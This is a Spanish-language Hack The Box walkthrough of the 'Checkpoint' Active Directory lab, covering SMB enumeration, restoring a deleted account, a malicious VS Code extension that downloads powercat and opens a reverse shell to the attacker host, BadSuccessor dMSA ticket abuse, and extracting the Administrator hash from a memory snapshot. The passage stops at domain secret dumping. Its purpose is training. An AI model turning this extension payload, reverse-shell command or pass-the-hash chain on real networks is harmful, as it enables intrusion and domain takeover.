Descripción
Checkpoint es una máquina de entorno Active Directory (AD) de dificultad media alojada en Hack The Box. Las vulnerabilidades clave y las rutas de descubrimiento encontradas en esta máquina incluyen:
- Recursos compartidos SMB vulnerables (
DevDrop,VMBackups) - Ejecución de Comandos Remotos mediante Extensión Maliciosa de Visual Studio Code
- Vulnerabilidades de la Cuenta de Gestión de Servicios de Directorio (dMSA) (BadSuccessor)
- Movimiento lateral mediante la recolección de tickets de Kerberos (delegación TGS)
- Recolección de credenciales de volcados de memoria (Volatility)
- Extracción de secretos de dominio (NTDS.DIT)
Reconocimiento
La fase inicial de reconocimiento se centró en recopilar información básica de red sobre la dirección IP objetivo, 10.129.16.242. Se ejecutó una utilidad básica ping para evaluar la alcanzabilidad de la red y analizar el valor de Time To Live (TTL).
$ ping -c 3 10.129.16.242
PING 10.129.16.242 (10.129.16.242) 56(84) bytes of data.
64 bytes from 10.129.16.242: icmp_seq=1 ttl=127 time=47.1 ms
64 bytes from 10.129.16.242: icmp_seq=2 ttl=127 time=47.2 ms
64 bytes from 10.129.16.242: icmp_seq=3 ttl=127 time=47.8 ms
--- 10.129.16.242 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 47.105/47.380/47.842/0.328 ms
El TTL observado de 127 es característico de un sistema operativo tipo Windows, aunque el análisis posterior de Nmap reveló que el host ejecuta un entorno Windows. Se realizó un escaneo básico de Nmap para identificar puertos TCP abiertos y servicios en ejecución:
$ sudo nmap 10.129.16.242 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.16.242
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 15.93 seconds
Los resultados confirmaron la presencia de numerosos servicios críticos, incluyendo LDAP, SMB, Kerberos y RPC, confirmando el rol de la máquina como Controlador de Dominio.
Enumeración
La fase de enumeración utilizó los puertos abiertos descubiertos para la detección detallada de versiones de servicio y la recopilación de información, lo cual es crucial para identificar posibles superficies de ataque. Se ejecutó un escaneo Nmap exhaustivo usando detección de servicios (-sV) y scripts predeterminados (-sC):
$ nmap 10.129.16.242 -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5985 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.16.242
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.71 seconds
Para asegurar una resolución de hosts precisa, el dominio checkpoint.htb y el nombre de host DC01.checkpoint.htb fueron añadidos al archivo hosts del sistema local:
$ echo '10.129.16.242 checkpoint.htb' | sudo tee -a /etc/hosts
$ echo '10.129.16.242 DC01.checkpoint.htb' | sudo tee -a /etc/hosts
Asumimos la presencia de un usuario conocido (alex.turner) con una contraseña (Checkpoint2024!) para establecer capacidades de punto de apoyo inicial. Después de sincronizar la hora de la máquina local con la del servidor, comenzamos la enumeración a nivel de dominio usando SMB.
$ sudo timedatectl set-ntp off
$ sudo ntpdate 10.129.16.242
La utilidad netexec fue utilizada para enumerar usuarios locales dentro del dominio:
$ netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users
SMB 10.129.16.242 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.16.242 445 DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024!
SMB 10.129.16.242 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.16.242 445 DC01 Administrator 2026-05-09 16:16:34 0 Built-in account for administering the computer/domain
SMB 10.129.16.242 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.16.242 445 DC01 krbtgt 2026-05-09 08:41:01 0 Key Distribution Center Service Account
SMB 10.129.16.242 445 DC01 alex.turner 2026-05-09 09:00:08 0
SMB 10.129.16.242 445 DC01 ryan.brooks 2026-05-10 13:46:18 0
SMB 10.129.16.242 445 DC01 svc_deploy 2026-05-09 09:01:19 0 Deployment service account
SMB 10.129.16.242 445 DC01 james.harper 2026-05-09 09:02:53 0
SMB 10.129.16.242 445 DC01 sarah.mitchell 2026-05-09 09:02:58 0
SMB 10.129.16.242 445 DC01 emily.carter 2026-05-09 09:03:05 0
SMB 10.129.16.242 445 DC01 david.reynolds 2026-05-09 09:03:11 0
SMB 10.129.16.242 445 DC01 jessica.coleman 2026-05-09 09:03:15 0
SMB 10.129.16.242 445 DC01 lauren.flores 2026-05-09 09:03:21 0
SMB 10.129.16.242 445 DC01 michael.torres 2026-05-09 09:03:28 0
SMB 10.129.16.242 445 DC01 kevin.patterson 2026-05-09 09:03:33 0
SMB 10.129.16.242 445 DC01 brian.jenkins 2026-05-09 09:03:37 0
SMB 10.129.16.242 445 DC01 megan.perry 2026-05-09 09:03:42 0
SMB 10.129.16.242 445 DC01 max.palmer 2026-05-26 01:25:15 0
SMB 10.129.16.242 445 DC01 [*] Enumerated 17 local users: CHECKPOINT
Los usuarios, alex.turner, ryan.brooks, svc_deploy, james.harper, sarah.mitchell, emily.carter, david.reynolds, jessica.coleman, lauren.flores, michael.torres, kevin.patterson, brian.jenkins, megan.perry y max.palmer, se encuentran en el dominio. A continuación, enumeramos las carpetas compartidas SMB disponibles usando las mismas credenciales:
$ netexec smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares
SMB 10.129.16.242 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.16.242 445 DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024!
SMB 10.129.16.242 445 DC01 [*] Enumerated shares
SMB 10.129.16.242 445 DC01 Share Permissions Remark
SMB 10.129.16.242 445 DC01 ----- ----------- ------
SMB 10.129.16.242 445 DC01 ADMIN$ Remote Admin
SMB 10.129.16.242 445 DC01 C$ Default share
SMB 10.129.16.242 445 DC01 DevDrop READ VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB 10.129.16.242 445 DC01 IPC$ READ Remote IPC
SMB 10.129.16.242 445 DC01 NETLOGON READ Logon server share
SMB 10.129.16.242 445 DC01 SYSVOL READ Logon server share
SMB 10.129.16.242 445 DC01 VMBackups
Las comparticiones DevDrop y VMBackups fueron identificadas como objetivos de alto valor. DevDrop permite la subida de extensiones de VS Code. VMBackups contiene instantáneas de máquinas virtuales. Para proceder con la escalada de privilegios, usamos bloodyAD para determinar las entidades escribibles para alex.turner, revelando que el usuario podía modificar objetos eliminados y, importante, tenía permisos WRITE sobre el usuario CN=Mark Davies.
$ bloodyad -d checkpoint.htb --host DC01.checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' get writable
distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD
distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD
Esto condujo a la restauración de un usuario eliminado, Mark Davies o mark.davies, lo que permitió la pulverización de contraseñas:
$ bloodyad -d checkpoint.htb --host DC01.checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' set restore "CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb"
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb
El password spraying confirmó que mark.davies también utiliza la credencial Checkpoint2024!. Enumerar recursos compartidos con este nuevo usuario reveló un cambio crítico en los permisos:
$ netexec smb checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares
SMB 10.129.16.242 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB 10.129.16.242 445 DC01 [+] checkpoint.htb\mark.davies:Checkpoint2024!
SMB 10.129.16.242 445 DC01 [*] Enumerated shares
...
SMB 10.129.16.242 445 DC01 DevDrop READ,WRITE VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
...
Escalamos exitosamente el acceso a READ,WRITE en el recurso compartido DevDrop.
Explotación
Con permiso de escritura en DevDrop, procedimos a explotar una vulnerabilidad de Ejecución Remota de Código (RCE) a través del mecanismo de extensión de VS Code. El objetivo era entregar una carga útil que establecería una terminal inversa. Primero, la herramienta necesaria (vsce) es instalada y luego se crea la carpeta de extensión maliciosa:
$ npm install @vscode/vsce
$ mkdir mal-ext
$ cd mal-ext
Se creará una extensión maliciosa. Los archivos package.json y extension.js fueron configurados para ejecutar un comando remoto a través de child_process tras la activación. Primero escribimos un archivo de muestra README.md.
# README.md
Malicious Extension for Remote Code Execution
Luego escribimos el archivo de manifiesto, package.json.
{
"name": "malicious-extension",
"displayName": "Malicious Extension",
"description": "Malicious Extension for Remote Code Execution",
"version": "1.0.0",
"publisher": "hackthebox",
"engines": {
"vscode": "^1.80.0"
},
"categories": [
"Other"
],
"activationEvents": [
"onStartupFinished"
],
"main": "./extension.js",
"contributes": {}
}
Y luego en el archivo extension.js el código de extensión. La variable command fue codificada cuidadosamente usando Base64 UTF-16LE, apuntando a una conexión inversa de PowerShell:
const vscode = require('vscode');
const { exec } = require('child_process');
let intervalId = null;
function activate(context) {
console.log('Extension active.');
const sendRequest = () => {
const command = '<COMMAND_TO_EXECUTE>'
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(`Error in send request: ${error.message}`);
return;
}
console.log(`Request send successfully: ${stdout}`);
});
};
sendRequest();
intervalId = setInterval(sendRequest, 30000);
context.subscriptions.push({
dispose: () => {
if (intervalId) {
clearInterval(intervalId);
}
}
});
}
function deactivate() {
if (intervalId) {
clearInterval(intervalId);
}
}
module.exports = {
activate,
deactivate
}
La cadena de carga útil, codificada para PowerShell, fue generada:
$ echo -n 'IEX(New-Object System.Net.Webclient).DownloadString("http://10.10.14.207/powercat.ps1");powercat -c 10.10.14.207 -p 1234 -e powershell' | iconv -t UTF-16LE | base64 -w0
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAwADcALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAiACkAOwBwAG8AdwBlAHIAYwBhAHQAIAAtAGMAIAAxADAALgAxADAALgAxADQALgAyADAANwAgAC0AcAAgADEAMgAzADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsAA==
Un servidor HTTP local fue iniciado para servir el script de carga útil.
$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$ python -m http.server 80
El paquete VSIX malicioso fue generado y subido al recurso DevDrop:
$ ../node_modules/@vscode/vsce/vsce package --no-dependencies
WARNING A 'repository' field is missing from the 'package.json' manifest file.
Use --allow-missing-repository to bypass.
Do you want to continue? [y/N] y
WARNING LICENSE, LICENSE.md, or LICENSE.txt not found
Do you want to continue? [y/N] y
WARNING Neither a .vscodeignore file nor a "files" property in package.json was found. To ensure only necessary files are included in your extension, add a .vscodeignore file or specify the "files" property in package.json. More info: https://aka.ms/vscode-vscodeignore
INFO Files included in the VSIX:
malicious-extension-1.0.0.vsix
├─ [Content_Types].xml
├─ extension.vsixmanifest
└─ extension/
├─ extension.js [1.22 KB]
├─ package.json [0.37 KB]
└─ readme.md
DONE Packaged: /home/r/Documentos/htb/checkpoint/mal-ext/malicious-extension-1.0.0.vsix (5 files, 2.23 KB)
$ smbclient '//checkpoint.htb/DevDrop' -U 'mark.davies%Checkpoint2024!'
Try "help" to get a list of possible commands.
smb: \> put malicious-extension-1.0.0.vsix
putting file malicious-extension-1.0.0.vsix as \malicious-extension-1.0.0.vsix (15,6 kB/s) (average 15,6 kB/s)
Este despliegue entregó con éxito la carga útil RCE, lo que resultó en una sesión de terminal inversa establecida como ryan.brooks:
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.207] from (UNKNOWN) [10.129.16.242] 65507
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Program Files\Microsoft VS Code> whoami
whoami
checkpoint\ryan.brooks
Post-Explotación
El terminal inicial proporcionó una cuenta de usuario (ryan.brooks) con privilegios limitados. El objetivo cambió a movimiento lateral y escalada de privilegios dentro del entorno Active Directory. Nos movemos al directorio personal del usuario y descargamos la herramienta bloodyAD para determinar qué objetos tienen permisos de escritura en la máquina por parte de ryan.brooks.
PS C:\Program Files\Microsoft VS Code> cd C:\Users\ryan.brooks
PS C:\Users\ryan.brooks> IWR -O bloodyAD.exe http://10.10.14.207/bloodyAD.exe
PS C:\Users\ryan.brooks> .\bloodyAD.exe --host checkpoint.htb get writable
distinguishedName: CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: OU=DMSAHolder,DC=checkpoint,DC=htb
permission: CREATE_CHILD
distinguishedName: CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE
distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
permission: WRITE
Observamos dos hallazgos muy interesantes. Primero, tenemos el permiso CREATE_CHILD sobre la OU DMSAHolder, lo que nos permite facilitar el ataque conocido como BadSuccessor. También tenemos el permiso GenericWrite sobre la cuenta de servicio svc_deploy.
La vulnerabilidad BadSuccessor, detallada por Akamai en su artículo de investigación, abusa de dMSAs para escalar privilegios en Active Directory. Cualquier usuario con el permiso Create msDS-DelegatedManagedServiceAccount o el permiso Create all child objects en una OU puede crear un dMSA. Podemos aprovechar la herramienta SharpSuccessor desarrollada por logangoins para explotar la vulnerabilidad. También utilizaremos una versión específica de Rubeus para generar los tickets Kerberos requeridos después de crear la cuenta dMSA.
Intentaremos suplantar la cuenta integrada Administrator. Comenzamos descargando las herramientas y creando el dMSA malicioso.
PS C:\Users\ryan.brooks> IWR -O SharpSuccessor.exe http://10.10.14.207/SharpSuccessor.exe
PS C:\Users\ryan.brooks> IWR -O Rubeus.exe http://10.10.14.207/Rubeus.exe
PS C:\Users\ryan.brooks> .\SharpSuccessor.exe add /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:admin_dMSA /impersonate:Administrator
...
[+] Adding dnshostname admin_dMSA.checkpoint.htb
[+] Adding samaccountname admin_dMSA$
[+] Administrator's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=admin_dMSA' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=admin_dMSA,OU=DMSAHolder,DC=checkpoint,DC=htb written to Administrator object
[+] msDS-SupersededServiceAccountState set to 2
[!] Exception: Access is denied.
Podemos ver que la creación de dMSA fue exitosa; sin embargo, ocurrió un error al intentar modificar el atributo msDS-SupersededServiceAccountState. Si la vulnerabilidad BadSuccessor ha sido parcheada mediante una actualización de seguridad, no podremos pivote a esta cuenta debido a este problema y porque no tenemos permisos GenericWrite sobre el usuario Administrator. Procedemos generando un Ticket de Concesión de Tickets (TGT) delegado, que más tarde se utilizará para solicitar un ticket de Ticket de Concesión de Servicios (TGS).
PS C:\Users\ryan.brooks> .\Rubeus.exe tgtdeleg /nowrap
...
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: DOkZRUa0FJoEVboW6AlrK//hVHJksie4sJQtxhWQ8jI=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIF1DCCBdCgAwIBBaEDAgEWooIE0DCCBMxhggTIMIIExKADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DSEVDS1BPSU5ULkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRua2LqSV8tpO82p9LbYsebZO...gPMjAyNjA2MTUwNzIzNDhapxEYDzIwMjYwNjIxMjEyMzQ4WqgQGw5DSEVDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=
Utilizamos el TGT obtenido para solicitar un TGS para el servicio Kerberos (krbtgt).
PS C:\Users\ryan.brooks> .\Rubeus.exe asktgs /targetuser:admin_dMSA$ /service:krbtgt/checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:doIF1DCCBdCgAwIBB...w5DSEVDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=
...
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'admin_dMSA$' from 'ryan.brooks'
[+] Sequence number is: 568864504
[*] Using domain controller: DC01.checkpoint.htb (fe80::400a:d6de:c424:e1ae%5)
[X] KRB-ERROR (60) : KRB_ERR_GENERIC
La solicitud falló con el error KRB_ERR_GENERIC. Esto indica que la vulnerabilidad ha sido parcheada en el sistema y solo funcionará contra cuentas para las que poseemos permisos GenericWrite. Como Akamai explica en su publicación de blog de seguimiento (https://www.akamai.com/blog/security-research/badsuccessor-is-dead-analyzing-badsuccessor-patch): Si un atacante controla un principal objetivo (por ejemplo, tiene GenericWrite en un usuario u ordenador), puede comprometerlo ya sea añadiendo una credencial sombra o realizando un ataque de Kerberoasting dirigido. BadSuccessor abre una nueva ruta de ataque; si un atacante controla un dMSA, puede realizar un emparejamiento mutuo y solicitar un ticket para el dMSA. Esto les permite actuar con los privilegios efectivos del objetivo mientras utilizan la identidad del dMSA (útil cuando la cuenta objetivo está bajo estrecha vigilancia).
Afortunadamente, como observamos antes, tenemos permisos de escritura sobre la cuenta svc_deploy. Por lo tanto, repetimos el ataque contra esta cuenta. Esta vez, el atributo msDS-SupersededServiceAccountState se escribe con éxito.
PS C:\Users\ryan.brooks> .\SharpSuccessor.exe add /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:svcdeploy_dMSA /impersonate:svc_deploy
...
[+] Adding dnshostname svcdeploy_dMSA.checkpoint.htb
[+] Adding samaccountname svcdeploy_dMSA$
[+] svc_deploy's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=svcdeploy_dMSA' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=svcdeploy_dMSA,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object
[+] msDS-SupersededServiceAccountState set to 2
[+] Wrote to target account successfully
PS C:\Users\ryan.brooks> .\Rubeus.exe asktgs /targetuser:svcdeploy_dMSA$ /service:krbtgt/checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:doIF1DCCBdCgAw...VDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=
...
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'svcdeploy_dMSA$' from 'ryan.brooks'
[+] Sequence number is: 974784769
[*] Using domain controller: DC01.checkpoint.htb (fe80::400a:d6de:c424:e1ae%5)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):
doIGBDCCBgCgAwIBBaE...tQT0lOVC5IVEI=
ServiceName : krbtgt/CHECKPOINT.HTB
ServiceRealm : CHECKPOINT.HTB
UserName : svcdeploy_dMSA$ (NT_PRINCIPAL)
UserRealm : checkpoint.htb
...
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : a/878j7Z73dWkMsmNhMLGzbBiYvHhoOE2LoQdxi2e6Y=
Current Keys for svcdeploy_dMSA$: (aes256_cts_hmac_sha1) 4729684A526ED330AEDF4464A0300CC158CB8E79F2809EC0EA4D72D498A585DE
Tomamos este ticket, lo transferimos a nuestra máquina atacante, y lo convertimos al formato .ccache.
$ echo 'doIGBDCCBgC...aMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=' | base64 -d > svc_deploy.kirbi
$ impacket-ticketConverter svc_deploy.kirbi svc_deploy.ccache
$ export KRB5CCNAME=./svc_deploy.ccache
La sesión transicionó a una terminal interactivo mediante evil-winrm:
$ evil-winrm -i DC01.checkpoint.htb -r CHECKPOINT.HTB ...
*Evil-WinRM* PS C:\Users\svcdeploy_dMSA$\Documents> whoami
checkpoint\svcdeploy_dmsa$
Mientras enumerábamos el sistema, descubrimos la ubicación de la carpeta compartida VMBackups en C:\Shares\VMBackups. Listamos su contenido y encontramos que ahora tenemos acceso de lectura al directorio. Dentro, identificamos una copia de seguridad VMware de una máquina virtual de Windows Server 2019 almacenada en la carpeta NightlyBackup_2024-11-01.
*Evil-WinRM* PS C:\Users\svcdeploy_dMSA$\Documents> cd C:\Shares\VMBackups
*Evil-WinRM* PS C:\Shares\VMBackups> dir
Directory: C:\Shares\VMBackups
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2026 9:54 AM NightlyBackup_2024-11-01
*Evil-WinRM* PS C:\Shares\VMBackups> cd NightlyBackup_2024-11-01
*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01> dir
Directory: C:\Shares\VMBackups\NightlyBackup_2024-11-01
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2026 10:12 AM memory forensics
*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01> cd "memory forensics"
*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics> dir
Directory: C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/9/2026 7:45 PM 106496000 Windows Server 2019-000001.vmdk
-a---- 5/9/2026 7:40 PM 2147483648 Windows Server 2019-Snapshot1.vmem
-a---- 5/9/2026 7:40 PM 138164859 Windows Server 2019-Snapshot1.vmsn
-a---- 5/9/2026 7:39 PM 270840 Windows Server 2019.nvram
-a---- 5/9/2026 7:45 PM 7642 Windows Server 2019.scoreboard
-a---- 5/9/2026 7:39 PM 10199695360 Windows Server 2019.vmdk
-a---- 5/9/2026 7:39 PM 502 Windows Server 2019.vmsd
-a---- 5/9/2026 7:45 PM 2749 Windows Server 2019.vmx
-a---- 5/9/2026 7:22 PM 274 Windows Server 2019.vmxf
Un archivo destaca inmediatamente: Windows Server 2019-Snapshot1.vmem, que contiene un volcado de memoria de la máquina virtual. Esto significa que podríamos ser capaces de recuperar credenciales de usuario en forma de hashes de contraseñas de la máquina virtual. Si cualquiera de esas credenciales se reutiliza en el sistema actual, podríamos ser capaces de escalar privilegios.
Utilizaremos Volatility 3 para analizar el volcado de memoria. Primero, transferimos el vol.exe binary a la máquina objetivo.
*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics> cd C:\Shares\
*Evil-WinRM* PS C:\Shares> upload vol.exe
También necesitamos subir el archivo de símbolos ntkrnlmp.pdb. El archivo de símbolos debe convertirse a un formato entendido por Volatility. Para hacer esto, descargamos el archivo PDB e instalamos en nuestra máquina atacante.
$ wget http://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/EF9A48AFA50FF07C616585BB019195361/ntkrnlmp.pdb
$ virtualenv .env
$ . .env/bin/activate
$ pip install volatility3
A continuación, generamos las tablas de símbolos utilizando el script pdbconv.py incluido. Esto produce un archivo .json.xz.
$ python .env/lib/python3.13/site-packages/volatility3/framework/symbols/windows/pdbconv.py -f ntkrnlmp.pdb
$ ls *.json.xz
EF9A48AFA50FF07C616585BB01919536-1.json.xz
Subimos el archivo de símbolo generado al directorio apropiado en la máquina remota.
*Evil-WinRM* PS C:\shares> mkdir symbols
*Evil-WinRM* PS C:\shares> mkdir symbols\windows
*Evil-WinRM* PS C:\shares> mkdir symbols\windows\ntkrnlmp.pdb
*Evil-WinRM* PS C:\shares> upload EF9A48AFA50FF07C616585BB01919536-1.json.xz symbols/windows/ntkrnlmp.pdb/
Usamos el plugin windows.info de Volatility para recopilar información sobre el volcado de memoria.
*Evil-WinRM* PS C:\Shares> .\vol.exe --symbol-dirs C:\Shares\symbols\ -f ".\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem" windows.info
Volatility 3 Framework 2.28.0
...
Variable Value
Kernel Base 0xf80725608000
DTB 0x1ad000
Symbols file:///C:/Shares/symbols/windows/ntkrnlmp.pdb/EF9A48AFA50FF07C616585BB01919536-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 FileLayer
KdVersionBlock 0xf80725a08f10
Major/Minor 15.17763
MachineType 34404
KeNumberProcessors 2
SystemTime 2026-05-09 14:08:58+00:00
NtSystemRoot C:\Windows
NtProductType NtProductServer
NtMajorVersion 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Sun Nov 10 07:20:39 2075
La salida confirma que la imagen de memoria se cargó correctamente. Ahora podemos extraer hashes de contraseña usando el plugin windows.hashdump.
*Evil-WinRM* PS C:\Shares> .\vol.exe --symbol-dirs C:\Shares\symbols\ -f ".\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem" windows.hashdump
...
Administrator 500 aad3b435b51404eeaad3b435b51404ee f29e9c014295b9b32139b09a2790be3b
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount 503 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount 504 aad3b435b51404eeaad3b435b51404ee 28f8d934dee90b2ec824351cb0844479
Recuperamos el hash NT f29e9c014295b9b32139b09a2790be3b para la cuenta Administrator. Verificamos que la misma contraseña es reutilizada por la cuenta Administrador local en la máquina actual y autenticamos con éxito usando Evil-WinRM.
$ evil-winrm -i DC01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b
...
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
checkpoint\administrator
A continuación, volcamos los hashes de contraseña de dominio usando impacket-secretsdump. Prestamos especial atención a la cuenta max.palmer, que es un administrador local en la máquina.
